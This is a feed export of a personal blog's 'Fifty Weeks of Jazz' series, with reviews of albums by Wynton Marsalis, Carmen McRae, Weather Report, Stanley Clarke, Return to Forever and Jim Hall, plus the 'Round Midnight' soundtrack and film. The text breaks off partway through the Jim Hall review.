Zola 2026-01-25T00:00:00+00:00 https://simpsonian.ca/atom.xml 2026-01-25T00:00:00+00:00 2026-01-25T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-50/ <p>Oh, dear reader: we've arrived at the ultimate entry in our jazzventure—and posted several weeks late, no less. You must think me the sentimental type; too attached to our journey to bear saying goodbye. Fortunately I suffer no such affliction—painters love to paint, writers love having written—rather, this week's album provoked such a fierce outburst of apathy from me that I required some extra time to push through. (That apathy never boiled over into <em>antipathy</em>, mind you; there is fine music on offer here!)</p> <p>Let's begin with the facts: we've heard from Wynton Marsalis <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">once before</a>, and much like <em>Volume 1</em>, this album features Marsalis' take on a number of tried-and-true jazz standards, with a few originals sprinkled in as well—however, this instalment is distinguished by the appearance of Marsalis' father, Ellis, on piano throughout. (A performance which sadly left little impression on me.) After a year of listening I was hoping to have decent coverage of those standards, but alas, I only recognized a couple.<sup class="footnote-reference"><a href="#marsalis-double-overlap">1</a></sup> Among the covers, I particularly liked "How Are Things in Glocca Morra?"—a simple, touching pop tune that gives Marsalis ample space to show off his beautiful tone. But interestingly, it was Marsalis' originals that outperformed for me; there are only three on the album, but two of them ended up being among my favourite tracks. "In the Court of King Oliver" successfully harks back to some of the earliest days of jazz with its steady, foot-tapping two-beat rhythmic pulse, whereas "The Seductress" shows that in Marsalis' mind, there must be no sound more arousing than a trembling wah-wah, because it arrives clad in nothing but and shakes them in your face the full three minutes. (That's a show I can appreciate, but it left my wife turned off.)</p> <p>So what exactly is my gripe? Well, for all Marsalis' technical abilities (which are considerable), to me this album still lacks a certain <em>joie de vivre</em>. I can't help but contrast it with "<a rel="external" href="https://www.youtube.com/watch?v=E7hoX7golZI">Better Git It In Your Soul</a>," which encapsulates everything I want out of jazz: it's swinging, it's ebullient, it's <em>alive</em> and suffused with something undeniably life-affirming. I'm sure Marsalis Jr. and Sr. can play with the best of them, but on this album it feels like they forgot to have fun—something I find astonishing in a genre as dynamic and playful as jazz.</p> <p>Intentional or not, it feels provocative to end this box set on a Marsalis album. As one of jazz's preeminent statesmen, and artistic director of <a rel="external" href="https://jazz.org/">Jazz at Lincoln Center</a>, Marsalis has considerable influence in shaping the future of jazz. But rather than dare to ask what jazz might be, Marsalis seems content to cherish and preserve what it has been. I'll readily concede that Marsalis' familiarity with jazz is far beyond what mine ever shall be, but I can't help but notice that's not the strategy espoused by any of Marsalis' idols (<a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-28/">Armstrong</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-26/">Ellington</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Parker</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-36/">Monk</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">Mingus</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">Davis</a>…). I'm very glad to have Marsalis' conservative voice among the modern jazz chorus, but I don't want him writing the songbook by himself. At nearly 65 years old, this <a rel="external" href="https://www.knkx.org/jazz/the-young-lions-brought-bebop-and-swing-roaring-back">Young Lion</a>'s mane is showing streaks of grey—I suppose only time will tell whether his pride triumphs.</p> <p><em>Favourite track:</em> In the Court of King Oliver</p> <hr> <div class="footnote-definition" id="marsalis-double-overlap"><sup class="footnote-definition-label">1</sup> <p>Funnily enough, the first Marsalis album we heard had tracks that overlapped with both <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">Concert by the Sea</a></em> and <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-08/">Parole E Musica</a></em>, and that's once again the case here: "Where or When" is on the former, and "Everything Happens to Me" the latter. Garner's version sounds totally disconnected from the original to my ear, but also brings a drama and energy that Marsalis can't match; Marsalis and Merrill are much more in tune with other on "Everything Happens to Me." (…come to think of it, those are the same comparisons I made last time…)</p> </div> 2026-01-11T00:00:00+00:00 2026-01-11T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-49/ <p>Thelonious Monk has already had <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-11/">two</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-36/">at-bats</a> during Fifty Weeks of Jazz, neither of which (I'm sorry to say) terribly excited me. Moreover, while we've heard from many of the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">greatest</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-04/">female</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-34/">jazz</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-35/">vocalists</a> of all time, I still find myself more often reaching for instrumental albums. So I approached <em>Carmen Sings Monk</em>—which, unsurprisingly, features <a rel="external" href="https://en.wikipedia.org/wiki/Carmen_McRae">Carmen McRae</a> singing vocal covers of Monk tracks—with some trepidation. But after having spent a week with the album, I can only imagine the curt response McRae might've had for my initial hesitation: "<a rel="external" href="https://www.youtube.com/watch?v=qYADfnI-iSs">Well, You Needn't</a>."</p> <p>Yep, this one's a certified banger. But that's a bit perplexing: we've heard some of these tracks directly from Monk before (such as "Monk's Dream" and "Ugly Beauty"<sup class="footnote-reference"><a href="#mcrae-in-walked-bud">1</a></sup>)—they didn't fully enchant me then; what's different this time around? This is one case where the obvious answer happens to be the correct one: I think I just prefer McRae's pipes to Monk's plonking. I had previously assumed that there was something about Monk's <em>compositional</em> style that didn't jibe with me, but McRae quickly disproved that. At the risk of seeming unsophisticated<sup class="footnote-reference"><a href="#seeming-unsophisticated">2</a></sup>, McRae's greatest success is in making Monk's melodies <em>catchy</em> to me: musical motifs that I would have been hard-pressed to quote before have become phrases hummed while ambling about. While Monk's playing is frequently described as "angular" and "percussive," McRae is lively, witty, and charming. The liner notes describe McRae as a "consummate storyteller," and I'm inclined to agree. For some singers, I get the sense that lyrics are arbitrary phonemes conjured into existence solely to limit the listener's daydreaming—not so with McRae. She has a knack for spinning the words into one-sided conversations, creating performances that are certainly exceptional musically, and even edge towards becoming dramatic works in their own right.</p> <p>This is also an album with some serious depth—I knew I was keen on it overall when I realized that my favourite track had shifted around several times. I came into this thinking "Suddenly" (aka "In Walked Bud") would be the easy winner, but it didn't take long before "It's Over Now" (aka "Well You Needn't") climbed to the top, and "Man, That Was a Dream" (aka "Monk's Dream") still isn't far behind.</p> <p>Oh right; I haven't yet explained those weird duplicate titles and "akas." Even though each track on this album is a cover of a Monk composition, the titles here are totally distinct from the originals (e.g., "In Walked Bud" is called "Suddenly" on this album, even though they're clearly the same song) This confused me, and the explanation from the liner notes—"the reason for these title changes is simply insistence by the music publishers"—failed to sate my curiosity. So here's your mini-lesson on intellectual property law: in general, you can't copyright the <em>title</em> of a creative work; if you want to call your nü jazz album <em>Kind of Blue</em>, so be it. However, adding lyrics to an existing instrumental track (as McRae is doing here) creates a new "derivative work" that must be blessed by the original rights holder. Clearly the rights holders of Monk's compositions approved in this case (otherwise we wouldn't have this album), but presumably only on the condition of changing the titles. Why would they bother to ask for that? Alas, simply to please the bean counters: having distinct titles makes tracking performances/royalties/etc. simpler and heads off any ambiguity. While these revised titles have largely functional origins, they also seem to be thematically cohesive; I found myself sliding them around like those <a rel="external" href="https://magneticpoetry.com/">poetry magnets</a>. So join me in sticking it to the suits with an exercise in <a rel="external" href="https://en.wikipedia.org/wiki/Found_poetry">found poetry</a>:</p> <blockquote> <p>GET IT STRAIGHT</p> <p>SUDDENLY</p> <p>IT'S OVER NOW</p> <p>LOOKING BACK</p> <p>MAN, THAT WAS A DREAM</p> <p>HOW I WISH…</p> <p>YOU KNOW WHO</p> <p>LISTEN TO MONK</p> <p>DEAR RUBY</p> <p>LITTLE BUTTERFLY</p> <p>MONKERY'S THE BLUES</p> <p>STILL WE DREAM</p> <p>ROUND MIDNIGHT</p> </blockquote> <p><em>Favourite track:</em> It's Over Now</p> <hr> <div class="footnote-definition" id="mcrae-in-walked-bud"><sup class="footnote-definition-label">1</sup> <p>We also heard "In Walked Bud" before (present on this album as "Suddenly"), but since that version also had vocals it's a different case. Not to mention "Round Midnight" and "Rhythm-A-Ning," both of which we heard covered on <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-48/">last week's album</a> as well.</p> </div> <div class="footnote-definition" id="seeming-unsophisticated"><sup class="footnote-definition-label">2</sup> <p>Deservedly so, I'm afraid.</p> </div> 2025-12-31T00:00:00+00:00 2025-12-31T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-48/ <p>The more time I spend with the two <a rel="external" href="https://www.discogs.com/release/2375584-Various-The-Perfect-Jazz-Collection">box</a> <a rel="external" href="https://www.discogs.com/release/2966397-Various-The-Perfect-Jazz-Collection-2">sets</a> guiding our journey, the more structural similarities I notice between them. Each has <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-01/">one</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-28/">Armstrong</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">one</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">Davis</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">one</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">Mingus</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">a smattering</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-45/">of fusion</a>, and also one movie soundtrack. Last time it was <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Bird</a></em> (Clint Eastwood's elegy to Charlie Parker); this time it's <em><a rel="external" href="https://en.wikipedia.org/wiki/Round_Midnight_(film)">Round Midnight</a></em>, which chronicles the final years of Dale Turner, a fictional saxophonist (played by <em>real</em> saxophonist <a rel="external" href="https://en.wikipedia.org/wiki/Dexter_Gordon">Dexter Gordon</a>) based heavily on the lives of Lester Young<sup class="footnote-reference"><a href="#young-in-sound-of-jazz">1</a></sup> and <a rel="external" href="https://en.wikipedia.org/wiki/Bud_Powell">Bud Powell</a>.</p> <p><em>Round Midnight</em> feels like a fitting capstone as we approach the conclusion of Fifty Weeks of Jazz (please, stifle your tears lest you ruin your keyboard): released in 1986 but set in the 1950s, it features a who's who of then-modern jazz musicians, albeit mostly emulating an older style. We've encountered many of those artists before, such as <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">Herbie Hancock</a>—who composed and arranged the score—as well as <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-37/">Freddie Hubbard</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-42/">Ron Carter</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-41/">Chet Baker</a>, and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-43/">Wayne Shorter</a>; you can decide for yourself whether that makes this a victory lap or a final exam.</p> <p>My entry point to <em>Round Midnight</em> was the soundtrack, so let's start there. Much like the cast of musicians behind it, there's variety on offer: we get a couple of Monk covers, tremendous vocal performances from both male and female singers ("Fair Weather" with Chet Baker and "How Long Has This Been Going On?" from <a rel="external" href="https://en.wikipedia.org/wiki/Lonette_McKee">Lonette McKee</a>, respectively), fantastic solos on instruments from soprano sax to vibraphone, and some new compositions from Hancock (including a collaboration with Stevie Wonder). I'm hard-pressed to find a dud among them; each track is strong in its own way—but of course, some highlights distinguish themselves. For instance, we've heard "Round Midnight" (the song) <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-13/">multiple</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">times</a> by now, but the version of the melody in the first track transfixed me: it's so expressive and ethereal that I initially struggled to place the instrument; turns out it's the inimitable vocal stylings of <a rel="external" href="https://en.wikipedia.org/wiki/Bobby_McFerrin">Bobby McFerrin</a> (whom you'll certainly know from "<a rel="external" href="https://www.youtube.com/watch?v=d-diB65scQU&amp;list=RDd-diB65scQU">Don't Worry, Be Happy</a>"). I adore Wayne Shorter on soprano sax, so obviously "The Peacocks" resonated with me; it also called to mind "Bird Calls" from <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">Mingus Ah Um</a></em>. "Una Noche con Francis"<sup class="footnote-reference"><a href="#una-noche-con-francis">2</a></sup> provides some much-needed levity after a few opening tracks that skew dark; "Minuit aux Champs-Elysées" features some great vibraphone work. But the sleeper hit for me is "Bérangère’s Nightmare:" pulsating and tense, it immediately evokes that titular terror. It seems sacrilegious to rank this mood-setting piece above the fuller, iconic jazz standards on this album, but it's the one that most consistently gripped me (and interestingly, as <a rel="external" href="https://www.bbc.co.uk/music/reviews/qgw6/">this BBC review notes</a>, it's also totally anachronistic in the context of the movie). So all in all, this is one soundtrack I'm quite glad to own (and perhaps I ought to also check out <a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Round_Midnight">the companion album</a> as well)—the only miss is that it fails to include a fun rendition of "<a rel="external" href="https://www.youtube.com/watch?v=CqjbVFQyiMs">Put it Right Here</a>" from the movie (though I could do without the racist interlude…).</p> <p>As for the film itself, I'm a bit more ambivalent. Much of the acting is commendable: Dexter Gordon is utterly convincing as Dale Turner<sup class="footnote-reference"><a href="#gordon-as-turner">3</a></sup>, and of all people Martin Scorsese is suffocatingly smarmy as an American club manager, creating delectable cultural whiplash after we spend most of our screen time hanging around cultured, high-minded Europeans and sympathetic American romantics. But whereas <em>Bird</em> had a clear tragic arc to ground the narrative, <em>Round Midnight</em> is more willing to simply luxuriate in the sights and sounds of faux mid-century Paris. If you're a real jazzhead, that's likely to be a great time—especially given how many prominent real-life musicians are on screen in cameo roles—but for those just looking to dip their toes into the scene, it strikes me as a hard sell.</p> <p>My favourite part of <em>Round Midnight</em> is how it plays with verisimilitude: Gordon, a real-life jazz star, plays a fictional saxophonist based (in part) on another real sax legend. But of course, Lester Young himself is such a big name that he exists in the movie universe as well, right alongside Turner. Add in the panoply of other real-life musicians rounding out the cast and the result is a work of fiction, but one so grounded in a love and respect for the music and culture of jazz that it feels more like a documentary from a parallel timeline. As someone living in a time and place where jazz is not quite in the zeitgeist, there is a certain vicarious joy in beholding even a simulacrum of what it might've felt like to be a part of that moment.</p> <p>So, if I can only recommend one, start with the soundtrack—but if you have a free evening and care to relive some jazz nostalgia, <em>Round Midnight</em> will suit you quite well.</p> <p>I'll turn it over to Dale Turner to close the books on a busy year:</p> <blockquote> <p>Francis: You are tired, Dale?</p> <p>Dale: Oh yes. I'm tired of everything. Except… the music.</p> </blockquote> <p><em>Favourite track:</em> Bérangère’s Nightmare</p> <hr> <div class="footnote-definition" id="young-in-sound-of-jazz"><sup class="footnote-definition-label">1</sup> <p>We (sadly) haven't heard Young headline an album, but we did catch one of his most iconic performances in <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-30/">The Sound of Jazz</a></em>.</p> </div> <div class="footnote-definition" id="una-noche-con-francis"><sup class="footnote-definition-label">2</sup> <p>Based only on the title, you might assume this was written for the movie (where Francis is Dale Turner's steadfast French friend), but it's actually a Bud Powell original dedicated to his real-life Parisian <em>ami</em> named Francis.</p> </div> <div class="footnote-definition" id="gordon-as-turner"><sup class="footnote-definition-label">3</sup> <p>Perhaps this is not surprising given that Gordon's own life was in many ways similar to Turner's: substance abuse issues, fleeing to Europe for recovery and respect, and finally an American repatriation before his demise.</p> </div> 2025-12-25T00:00:00+00:00 2025-12-25T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-47/ <p>For hundreds of thousands of years, the human musical experience was quite straightforward: if you wanted to listen to music, you needed someone to perform it for you. Then in 1877, Edison invented the phonograph and forever upended that requirement: music could now be recorded in advance, then replayed whenever. Over time, this recording process grew so elaborate that the final sounds delivered by the audio engineers were often well beyond anything the band ever produced contemporaneously. Of course, humans will always demand in-person concerts, so if you're a group that made it big based on an elaborate studio setup, how can you tour? Well, inevitably you hack something together and hope to pack the seats. And if you're really enterprising, you'll record some of those live shows too,<sup class="footnote-reference"><a href="#recordings-all-the-way-down">1</a></sup> and in so doing you will have created a dilemma all music lovers today face: live or studio albums?<sup class="footnote-reference"><a href="#concerts-vs-albums">2</a></sup></p> <p>This week's album, <em>8:30</em>, puts that question to us directly. We first heard Weather Report in the studio<sup class="footnote-reference"><a href="#heavy-weather-live-track">3</a></sup> on their monumental album, <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">Heavy Weather</a></em>; three of those eight tracks appear as part of <em>8:30</em>'s epic 80-minute live set. So which is the superior experience? As someone helplessly <a rel="external" href="https://en.wikipedia.org/wiki/Glenn_Gould">Gould</a>-pilled, I hew towards the studio. Even though this is a quite faithful live album, studio recordings in general offer a level of polish and detail that simply can't be equalled in a single take—what sends shivers down my spine is not the canned cheers of a faceless crowd, but rather, e.g., the sublime soloing of Zawinul near the end of "A Remark You Made" (a solo that comes through much more cleanly in the studio!). Of course, that's not to say live albums are intrinsically worse: at their best, they can capture intimate, conversational moments between performer and audience that have no studio equivalent; <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-22/">Jaco Pastorius</a> illustrates that perfectly here with "Slang" (and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-43/">Wayne Shorter</a> isn't far behind with "Thanks for the Memory"). They can also serve as pseudo-"Best of" albums, samplers of an artist's wider oeuvre—just as the first half of <em>8:30</em> does, with many inclusions from Weather Report's earlier hits. And finally, the spontaneity of live performance sometimes produces wonderfully weird things that, while unpolished, ought to be preserved all the same (see the second half of <em>8:30</em>, which features alien babble, a children's choir, and a train running through the stage).</p> <p>So all that to say: live albums aren't worse in general; they simply aren't my preference. At first, I turned my nose up at <em>8:30</em>, finding it to be a worse version of <em>Heavy Weather</em> with other miscellaneous goodies thrown in. But with the benefit of repeated listens, I've come to appreciate it as 80 minutes of often euphoric, frequently conversational, and always captivating jazz fusion.</p> <p>Such milquetoast takes make for poor engagement bait, however. So instead of closing there, allow me to present my Universal Theory of Studio Versus Live Albums, which will predict every other part of your personality with 100% accuracy based simply on your album preference:</p> <table><thead><tr><th>Studio albums</th><th>Live albums</th></tr></thead><tbody> <tr><td>Theory</td><td>Practice</td></tr> <tr><td>Mind</td><td>Body</td></tr> <tr><td>Order</td><td>Chaos</td></tr> <tr><td>Introversion</td><td>Extroversion</td></tr> <tr><td><a rel="external" href="https://en.wikipedia.org/wiki/Bouba/kiki_effect">Bouba</a></td><td><a rel="external" href="https://en.wikipedia.org/wiki/Bouba/kiki_effect">Kiki</a></td></tr> </tbody></table> <p><em>Favourite track:</em> Badia/Boogie Woogie Waltz Medley</p> <hr> <div class="footnote-definition" id="recordings-all-the-way-down"><sup class="footnote-definition-label">1</sup> <p>Thus creating a recording of a live show, which itself was based on edited recordings of live performances. It's <a rel="external" href="https://en.wikipedia.org/wiki/Mutual_recursion">mutual recursion</a> all the way down.</p> </div> <div class="footnote-definition" id="concerts-vs-albums"><sup class="footnote-definition-label">2</sup> <p>Of course, having the opportunity to actually attend the concert in person is a completely separate matter, and one we shan't consider for our purposes today.</p> </div> <div class="footnote-definition" id="heavy-weather-live-track"><sup class="footnote-definition-label">3</sup> <p>Well, <em>mostly</em>. "Rumba Mamá," released on <em>Heavy Weather</em>, was recorded "live at a summer 1976 concert in Montreux, Switzerland", per <a rel="external" href="https://en.wikipedia.org/wiki/Heavy_Weather_(album)">Wikipedia</a>. Meanwhile, <em>8:30</em> was intended to be fully live, but "an engineer accidentally erased some of the material, prompting the band to go into the studio to record the fourth side" (<a rel="external" href="https://en.wikipedia.org/wiki/8:30">Wikipedia</a> again). Taken together, these form a very pleasing musical <a rel="external" href="https://en.wikipedia.org/wiki/Taijitu#Modern_yin-yang_symbol">taijitu</a>.</p> </div> 2025-12-07T00:00:00+00:00 2025-12-07T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-46/ <p>I'm beginning to think that as <em>composers</em>, jazz bassists may simply be built different. We've heard Jaco Pastorius pen some absolutely nutty tracks (both on his <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-22/">solo debut</a> as well as on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">Heavy Weather</a></em>), and for my money, the work of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">Charles Mingus</a> is even greater. Stanley Clarke, bassist par excellence, upholds that vaunted tradition with this week's album, <em>School Days</em>—six all-original tracks that achieve a truly sublime synthesis of jazz, funk, rock, and more.</p> <p>We actually had our first taste of Clarke <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-45/">last week</a>:<sup class="footnote-reference"><a href="#school-days-recording-date">1</a></sup> as a close friend of Corea, Clarke was the only other permanent member of Return to Forever.<sup class="footnote-reference"><a href="#clarke-scientology">2</a></sup> Don't pigeonhole him as "the RtF bassist though"—of the five Grammy Awards he's won, three are for his solo work; along the way he's recorded with members from groups like The Police, The Rolling Stones, and y'know, The Beatles (McCartney called up Clarke for <a rel="external" href="https://www.guitarworld.com/features/when-stanley-clarke-met-paul-mccartney">bass-slappin’ lessons</a>). Even Clarke's first foray into jazz and its many fusions was happenstance: he originally "intended to become the first black musician in the Philadelphia Orchestra until he met jazz pianist Chick Corea" (per <a rel="external" href="https://en.wikipedia.org/wiki/Stanley_Clarke#Return_to_Forever_(band)">Wikipedia</a>).</p> <p>As for the tracks themselves, "School Days" immediately sets the tone for the rest of the album with Clarke's chunky power chords, and it doesn't take long before his soloing begins—if you weren't already a believer, Clarke will make you one in just under eight minutes. "Quiet Afternoon" turns down the temperature for a breather with some subdued electronic-heavy stylings, just so "The Dancer" can liven things up again immediately after. Curmudgeon that I am, I often demand a little pique or intrigue from my jazz—"The Dancer" is unabashedly fun, upbeat, and simply happy throughout, but it's so earnest and successful in its execution that even I can't help but crack a smile. "Desert Song" features beautiful interplay between the guitars (though see <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-38/">Beyond the Blue Horizon</a></em> for a more obviously Eastern-inspired guitar trek). "Hot Fun" is exactly what it says on the tin: the funk is turned up to 11; blast this as you strut down Harlem. Finally, "Life Is Just a Game" is where the whole album comes together for me: the other tracks are fun, interesting, or catchy, but "Life Is Just a Game" is the only truly <em>epic</em> song of the bunch. I'm fascinated by the blink-and-you'll-miss-them vocals that connect a musical theme to the song's lyrical thesis, only to immediately exit stage left; overall I strongly feel a narrative arc being created through this piece in a way that's highly reminiscent of <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">Birds of Fire</a></em>. Also, the climactic build near the beginning and end sounds exactly like something that would play after you 3-star every cup in a Mario Kart game. Just sayin’.</p> <p>In <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-45/">recent weeks</a>, I have been, shall we say, <em>skeptical</em> of the jazz bona fides of certain jazz fusion albums. I don't feel that way about <em>School Days</em>: I can't adequately articulate or point to what distinguishes this from previous entries, but here I feel a genuine partnership between jazz and rock (rather than one subsuming the other).</p> <p>I began by comparing Clarke to Pastorius and Mingus, but upon further reflection I've come to see him more as a blending of the two: his virtuosic command of the bass rivals Jaco, and he clearly also shares no small measure of Mingus's compositional genius. What ought one do with such tremendous musical talents? Perhaps Clarke already told us:</p> <blockquote> <p>So life is just a game</p> <p>And there are many ways to play</p> <p>And all you do is choose</p> <p>La la la la la la</p> </blockquote> <p><em>Favourite track:</em> Life Is Just a Game</p> <hr> <div class="footnote-definition" id="school-days-recording-date"><sup class="footnote-definition-label">1</sup> <p>In fact, <em>School Days</em> was recorded only months after <em>Romantic Warrior</em>.</p> </div> <div class="footnote-definition" id="clarke-scientology"><sup class="footnote-definition-label">2</sup> <p>Yeah, that means Clarke is also a devout Scientologist. Sorry.</p> </div> 2025-11-30T00:00:00+00:00 2025-11-30T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-45/ <p>Ho, brave traveller! Wherefore dost thou haste? Thou seem’st to have covered many miles, but this storm would detain the gods themselves—come; tarry a moment by the fire, and regale us of thy travels…</p> <p>I'm in an unfortunate hurry this week, so let me get straight to the point: <em>Romantic Warrior</em> is a 1976 jazz fusion album by <a rel="external" href="https://en.wikipedia.org/wiki/Return_to_Forever">Return to Forever</a>, a group founded by <a rel="external" href="https://en.wikipedia.org/wiki/Chick_Corea">Chick Corea</a>. Corea is one of those big names in late 20^th century jazz that I don't think we've encountered so far. My assessment of <em>Romantic Warrior</em> is remarkably similar to <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">Birds of Fire</a></em>; namely, <em>Romantic Warrior</em> is:</p> <ul> <li>Completely awesome;</li> <li>a singular, cohesive prog masterpiece;</li> <li>…<em>not</em> jazz?</li> </ul> <p>I've listened to a lot more rock than jazz in my time, and let me tell you, this is rockin’:</p> <p><audio controls src="sorceress_guitar_solo.mp3"></audio></p> <p>I'm sure those more musically-discerning than I can give meticulous explanations as to why this should be counted among the jazz canon, but I'm still not able to really feel that for myself yet. Of course, that didn't stop this album from winning me over on first listen—I am obsessed with the deep bass in "The Romantic Warrior," and I am delighted that the band wasn't too self-serious to inject some whimsy with "The Magician". (Come to think of it, the way that track expressly develops a distinct character reminds me of Holst's <em><a rel="external" href="https://en.wikipedia.org/wiki/The_Planets">The Planets</a></em>, which of course has a magician of its own.)</p> <p>But if you only take one thing away from this article, let it be this plea: where are the indie games built around jazz fusion soundtracks? <em>Romantic Warrior</em> is an enthralling listening experience—it evokes such rich imagery that while it doesn't <em>need</em> a visual accompaniment, it would make for an even more immersive adventure. Make me the Man of La Mancha and let me tilt at windmills while the guitar solos wail!</p> <p>One more unusual connection to highlight before we depart: when investigating fellow jazz fusionists <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">Mahavishnu Orchestra</a>, we learned that they were inspired by Sri Chinmoy, a religious leader somewhat outside mainstream practice. <em>Romantic Warrior</em> has similar "outré" spiritual inspirations: the album is dedicated to L. Ron Hubbard, because Chick Corea was a devout Scientologist. Amazingly, this isn't even his most Scientology-ist jazz work: Corea played on an album literally called <em><a rel="external" href="https://en.wikipedia.org/wiki/Space_Jazz">Space Jazz</a></em> (the "soundtrack" for one of Hubbard's books), and though I have little inclination to support that particular organization, "space jazz" is <em>exactly</em> the kind of music I want to listen to.</p> <p>So, overall: <em>Romantic Warrior</em> is another jazz fusion album earning top marks from me—and one that I will surely be returning to, forever.</p> <p><em>Favourite track:</em> The Romantic Warrior</p> <hr> 2025-11-23T00:00:00+00:00 2025-11-23T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-44/ <p>One thing I've learned this year about jazz is that her inspirations are multifold. Had you asked me in January, I would've guessed that most jazz compositions are wholly original: some meticulously crafted by musical geniuses; others perfectly extemporized by true virtuosos. Turns out, that's not even close to true; the jazz smelters hunger voraciously for musical ore, and they care little of the exact provenance: <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-17/#porgy-and-bess">American opera</a> is as good a source as <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-21/">Brazilian rhythms</a>. In keeping with that vaunted tradition, the centerpiece of this week's album is a jazz cover of <em><a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez">Concierto de Aranjuez</a></em>, a 1939 guitar concerto composed by <a rel="external" href="https://en.wikipedia.org/wiki/Joaqu%C3%ADn_Rodrigo">Joaquín Rodrigo</a>.</p> <p>In fact, let's dedicate this week to the Rodrigo piece and its descendants, because there's a fascinating musical evolution here that is easy to trace. We begin, naturally, with the original composition: I started by listening to <a rel="external" href="https://www.youtube.com/watch?v=Zy8QKwTeMGo">this performance</a>, starring John Williams.<sup class="footnote-reference"><a href="#john-williams-confusion">1</a></sup> It's an interesting piece: when the orchestra is in charge, we're firmly in classical territory (that I would struggle to discern from any other twentieth-century composer), but of course the soloist infuses Spanish guitar that I personally wouldn't typically associate with the symphony. (In fact, "infuse" must be too weak a term; surely this piece helped <em>define</em> that Platonic notion of "Spanish guitar" at which I am lamely grasping.) If you like the more lively first and third movements, enjoy them while you can—as we'll soon see, it's the second movement that proves to be especially influential among later musicians.</p> <p>Now that we're acquainted with the 1939 composition, jump forward twenty years, where we find an established Miles Davis in the unenviable position of needing to follow up his monumental release from earlier in 1959, <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Kind of Blue</a></em>. Fortunately, <a rel="external" href="https://en.wikipedia.org/wiki/Sketches_of_Spain#Background">a friend of Davis passed him a recording of <em>Concierto de Aranjuez</em></a>, and <a rel="external" href="https://en.wikipedia.org/wiki/Gil_Evans">Gil Evans</a> was on-hand to rearrange it for him. <a rel="external" href="https://www.youtube.com/watch?v=mpRXA3lFrqM">The resulting version</a>—released on <em>Sketches of Spain</em>—presents a bold, imposing vision of the second movement. Overall I find it less stiff than the original: presumably facing fewer formal constraints, Davis and Evans amp up the drama with forceful percussion and wide dynamic range. But even with those embellishments, the overall piece still has a strong classical character to my ear; I see it as more at home in the concert hall than in a jazz club—I suppose that's why it's often cited as an example of <a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">third stream</a>. One thing Davis and Evans did <em>not</em> do was contact Rodrigo in any way before releasing their cover; apparently <a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez#Interpretations">Rodrigo only learned of it after a friend played the album for him</a>, and was furious (though he later came to begrudgingly accept the massive additional exposure this version brought to his original work, not to mention whatever fat cheques came in from the later legal settlement).</p> <p>With all that, we're now finally ready to place this week's album in context: <em>Concierto</em>, by Jim Hall, released in 1975. I was stoked to see Hall headlining an album: we've heard from him several times before, but only as a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-33/">sideman</a>—based on what we've learned of Rodgrio's composition, we should all be salivating at the prospect of a guitarist like Hall giving his interpretation. Indeed, Hall brings the goods, assisted by a backing band that includes some names you <em>might</em> have heard before—do <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-27/">Paul Desmond</a> or <a 